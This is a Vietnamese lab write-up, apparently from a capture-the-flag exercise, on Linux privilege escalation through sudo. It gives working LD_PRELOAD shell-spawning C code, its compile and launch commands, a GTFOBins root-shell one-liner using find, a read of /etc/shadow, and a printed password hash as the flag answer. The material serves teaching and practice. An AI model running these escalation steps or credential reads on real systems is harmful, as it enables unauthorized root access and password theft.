Description

Linux Privilege Escalation - Sudo

Dùng quyền sudo để leo thang đặc quyền và đọc password của frank (ở dạng hash).

Techniques

LD_PRELOAD

Là một hàm cho phép các chương trình sử dụng các thư viện chia sẻ, ta có thể gắn thư viện này vào các chương trình mà ta có quyền sudo nhằm leo thang đặc quyền.

Các bước khai thác:

  1. Dùng lệnh sudo -l để kiểm tra xem LD_PRELOAD (là giá trị của env_keep) có được enable hay không. Điều kiện này là tối quan trọng.
  2. Viết một đoạn code C đơn giản và biên dịch thành một share object (có đuôi .so).
  3. Chạy chương trình mà ta có thể dùng sudo và gắn share object ở trên vào.

Đoạn code C giúp khởi chạy một shell được viết như sau:

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
 
void _init() {
	unsetenv("LD_PRELOAD");
	setgid(0);
	setuid(0);
	system("/bin/bash");
}

Biên dịch bằng câu lệnh sau:

gcc -fPIC -shared -o shell.so shell.c -nostartfiles

Với shell.c là tên tin lưu code.

Giả sử ta có quyền chạy find với sudo. Khi đó, ta gắn shared object đã được biên dịch vào câu lệnh find như sau:

sudo LD_PRELOAD=/home/user/ldpreload/shell.so find

Minh họa:

GTFOBins

Ta có thể thao khảo GTFOBins để biết những câu lệnh dùng với những chương trình mà ta có quyền sudo để leo thang đặc quyền.

Ví dụ với câu lệnh find thì ta có câu lệnh sau:

sudo find . -exec /bin/sh \; -quit

Approach

Xem password:

cat /etc/shadow

Nhận ra ta không có quyền.

Sử dụng lệnh sudo -l thì thấy ta có thể chạy find với sudo:

Matching Defaults entries for karen on ip-10-10-170-29:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
 
User karen may run the following commands on ip-10-10-170-29:
    (ALL) NOPASSWD: /usr/bin/find
    (ALL) NOPASSWD: /usr/bin/less
    (ALL) NOPASSWD: /usr/bin/nano

Áp dụng câu lệnh của GTFOBins ở trên, ta có thể có được quyền root và xem được hashed password của frank

Flag

Success

$6$2.sUUDsOLIpXKxcr$eImtgFExyr2ls4jsghdD3DHLHHP9X50Iv.jNmwo/BJpphrPRJWjelWEz2HH.joV14aDE wW1c3CahzB1uaqeLR1